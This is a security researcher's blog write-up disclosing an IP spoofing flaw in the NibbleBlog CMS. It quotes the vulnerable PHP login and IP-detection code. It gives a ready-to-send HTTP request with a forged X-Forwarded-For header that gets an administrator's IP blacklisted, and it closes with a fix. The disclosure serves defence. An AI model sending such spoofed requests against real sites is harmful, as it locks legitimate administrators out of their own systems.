DZONERZY

Nibble Blog IP spoofing attack

September 22, 2016 Daniele

How it happens?

I was surfing on the net and i was looking for a responsive / easy-to-use CMS framework in order to bringing
my blog to life! with a bit of luck i found a CMS called NibbleBlog, it was XML based (nice feature!), lightweight and easy-to-use...so
it was jsut perfect in order to start a blog!

Since i'm a security researcher before put anything on my server i want always perform a vulnerability assessment in order to better know how secure it was :D, after some hours of researching and much false positive i found a really intresting feature called blacklist, it allows to block certain client by ip address, it's a very useful feature to prevent spam.

Where troubles begins

As any other modern CMS NibbleBlog was provided with a Dashboard used by the Administrator to edit/add/modify contents. this Dashboard was protected by authentication, below the code from login.class.php

    /*
     * Verify the username and password are correct
     *
     * Parameters
     ** username
     ** password
    */
    public function verify_login($args)
    {
        // Check the file FILE_SHADOW=shadow.php
        if(!file_exists(FILE_SHADOW))
            return false;

        require(FILE_SHADOW);

        // Check empty username and password
        if(!empty($args['username'])&&!empty($args['password']))
        {
            // Check username
            if($args['username']==$_USER[0]['username'])
            {
                // Generate the password hash
                $hash = sha1($args['password'].$_USER[0]['salt']);

                // Check password
                if($hash==$_USER[0]['password'])
                {
                    $this->db_users->set(array('username'=>$args['username'], 'session_fail_count'=>0, 'session_date'=>time()));

                    $this->set_login(array('id_user'=>0, 'username'=>$args['username']));

                    return true;
                }
            }
        }

        // Set brute force
        $this->db_users->set_blacklist();

        // Increment the failed count and last failed session date
        $user = $this->db_users->get(array('username'=>$args['username']));
        $count = $user['session_fail_count'] + 1;
        $this->db_users->set(array('username'=>$args['username'], 'session_fail_count'=>$count, 'session_date'=>time()));

        return false;
    }

As we can see from the above code whenever admin try to login usign a bad password an integer is incremented and when it reach the value of 5 the blacklist is automatically triggered.

In order to ban a client NibbleBlog need to get the right IP from a client even if it's behind a proxy, this is done in the file net.class.php, below the code

    public static function get_user_ip()
    {
        if(getenv('HTTP_X_FORWARDED_FOR'))
            $ip = getenv('HTTP_X_FORWARDED_FOR');
        elseif(getenv('HTTP_CLIENT_IP'))
            $ip = getenv('HTTP_CLIENT_IP');
        else
            $ip = getenv('REMOTE_ADDR');

        if(filter_var($ip, FILTER_VALIDATE_IP))
            return $ip;

        return getenv('REMOTE_ADDR');
    }

This seems to be pretty secure due to the usage of filter_var function, anyway if we use a valid IP into X-Forwarded-For header we are able to spoof any random IP address!. Any unauthenticated user can trigger this piece of code, in order to succesfully exploit the attack we also need a valid ip address to spoof (why not the admin one!). NibbleBlog is shipped with a weak configuration which allow allow to spoof content of xml files simply by browsing them, below a real life example Image description The following content is reachable at /content/private/users.xml and contains all failed user login attempt even if they are not banned, now we all know that al least once we use the wrong password so you have a 50% chance that admin ip address is there!

Exploitation

With all of these info in mind we can start our attack, in order to do this we must try to login 6 times with a bad password using header X-Forwarded-For with a spoofed IP like below

POST /admin.php HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.11; rv:40.0) Gecko/20100101 Firefox/40.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
X-Forwarded-For: IP_TO_SPOOF
Referer: http://www.dirittonetwork.org/admin.php
Cookie: PHPSESSID=845368fc42fccdc71d99dd094f8620dc
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 27

username=fake&password=fake

After the fifth request we will se the following message, this means that the attack was successful!
Nibbleblog security error - Blacklist protection
The fix for this vulnerability is pretty easy, just modify the following lines

File: db_users.class.php 
Line: 45
$ip = Net::get_user_ip();
to 
$ip = getenv("REMOTE_ADDR");
File: db_users.class.php 
Line: 71
$ip = Net::get_user_ip();
to 
$ip = getenv("REMOTE_ADDR");

The End

I hope you enjoyed this small and trivial write-up!

#dzonerzy